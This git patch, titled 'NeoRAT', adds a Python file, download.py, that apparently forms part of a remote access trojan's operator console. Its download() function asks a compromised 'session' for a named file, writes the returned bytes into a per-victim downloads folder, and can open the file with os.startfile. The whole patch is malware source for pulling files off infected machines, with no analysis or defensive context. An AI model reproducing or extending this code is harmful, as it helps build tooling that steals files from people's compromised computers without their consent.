From 20dbeb2f38684c65ff0a4b99012c161295708e88 Mon Sep 17 00:00:00 2001 From: AL-LCL Date: Fri, 19 May 2023 11:01:49 +0200 Subject: NeoRAT --- domestic/session/server_handling/download.py | 35 ++++++++++++++++++++++++++++ 1 file changed, 35 insertions(+) create mode 100644 domestic/session/server_handling/download.py (limited to 'domestic/session/server_handling/download.py') diff --git a/domestic/session/server_handling/download.py b/domestic/session/server_handling/download.py new file mode 100644 index 0000000..a51e394 --- /dev/null +++ b/domestic/session/server_handling/download.py @@ -0,0 +1,35 @@ +import os + +from domestic.parse.error_exception_handling import * +from domestic.session.session_message import * +from domestic.utility.status_message import * +from domestic.make.make_directories import * +from domestic.global_state import * + + +@error_exception_handling +def download(message): + assert message['file'] + + filename = validate_dict_key(message, 'file') + execute = validate_dict_key(message, 'execute') + + username = state['session']['username'] + make_directories([username, f'{username}/downloads']) + root = f'{state["root"]}/{username}/downloads/{filename}' + + message['max_file_size'] = state['settings']['max-file-size'] + if execute: + del message['execute'] + + data = session_message(message, False, loading_text='downloading file...') + download = validate_dict_key(data, 'download', False) + + if download: + with open(root, 'wb') as f: + f.write(download) + + if execute: + os.startfile(root) + + status_message(data['message'], data['text_mode']) \ No newline at end of file -- cgit v1.2.3